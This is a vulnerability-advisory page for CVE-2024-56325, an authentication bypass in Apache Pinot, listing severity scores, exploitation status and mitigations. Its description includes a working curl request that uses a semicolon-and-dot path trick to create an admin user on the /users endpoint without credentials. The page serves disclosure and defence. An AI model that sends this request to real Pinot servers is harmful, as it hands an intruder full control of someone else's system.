Skip to main content
VulnerabilityPublished Updated

CVE-2024-56325: Apache Pinot · Authentication Bypass Using an Alternate Path or Channel

Affects Apache PinotSource CVE Database V5

0

Not known to be exploited · public detection template (Nuclei) · 80% EPSS · CVSS 9.8 Critical.

Data as of 26 Oct 2026, 09:15 UTC

CVSS 3.1 base score
9.8Critical
How severe the flaw is on the 0–10 CVSS scale.
EPSS
80.2% chance of exploitation in 30 days – higher than 99% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 1 Apr 2025

  2. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  3. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  4. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Affected software

ProductAffectedFixed in
Mavenorg.apache.pinot/pinotpkg:maven/org.apache.pinot/pinotOther threatsAffected
  • =0
Fixed in–

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

1. Immediately audit all Apache Pinot instances to identify vulnerable versions and exposed endpoints. 2. Apply vendor patches or updates as soon as they become available; monitor Apache Software Foundation advisories closely. 3. Implement strict input validation on all HTTP request paths to ensure they conform to expected formats and reject malformed paths containing suspicious characters such as semicolons or dots without slashes. 4. Employ Web Application Firewalls (WAFs) with custom rules to detect and block suspicious requests targeting the /users endpoint or similar administrative APIs. 5. Restrict network access to Pinot management interfaces to trusted internal networks or VPNs to reduce exposure. 6. Monitor logs for unusual user creation activities or anomalous API requests indicative of exploitation attempts. 7. Conduct regular security assessments and penetration tests focusing on authentication mechanisms and path handling. 8. Educate development and operations teams about secure API design and the risks of alternate path handling.

Description

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

References

Community reviews

Loading reviews…